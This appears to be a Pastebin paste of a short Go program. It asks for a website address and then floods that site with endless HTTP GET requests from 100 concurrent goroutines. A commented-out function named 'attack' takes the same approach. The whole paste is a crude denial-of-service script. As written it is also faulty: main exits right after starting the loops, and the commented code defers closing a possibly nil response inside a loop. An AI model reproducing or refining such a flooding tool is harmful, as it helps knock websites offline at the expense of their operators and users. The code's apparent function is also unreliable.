Advertisement
Guest User

Untitled

a guest
Jun 10th, 2018
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 0.79 KB | None | 0 0
  1. package main
  2. import
  3. (
  4.     "fmt"
  5.     "net/http"
  6. )
  7. /*func attack(url string, times int) int{
  8.     if times == 0 {
  9.         return 0
  10.     }
  11.     go func() {
  12.         for {
  13.             resp, err := http.Get(url)
  14.             if err != nil {
  15.                 fmt.Println("Problems with sending: ", err)
  16.             } else {
  17.                 fmt.Println("Success.")            
  18.             }
  19.             defer resp.Body.Close()
  20.         }
  21.     }()
  22.     return attack(url, times-1)
  23. }*/
  24. func andron(url string) {
  25.     for {
  26.         fmt.Println("sss")
  27.         _, err := http.Get(url)
  28.         if err != nil {
  29.             fmt.Println("Problems with sending: ", err)
  30.         } else {
  31.             fmt.Println("Success.")            
  32.         }
  33.     }
  34. }
  35. func main() {
  36.     var url string
  37.     fmt.Print("Enter the name of the site: ")
  38.     fmt.Scan(&url)
  39.  
  40.     var times int
  41.     fmt.Print("Enter number of threads: ")
  42.     fmt.Scan(&times)
  43.     for i := 0; i < 100; i++ {
  44.         go andron(url)
  45.     }
  46.  }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement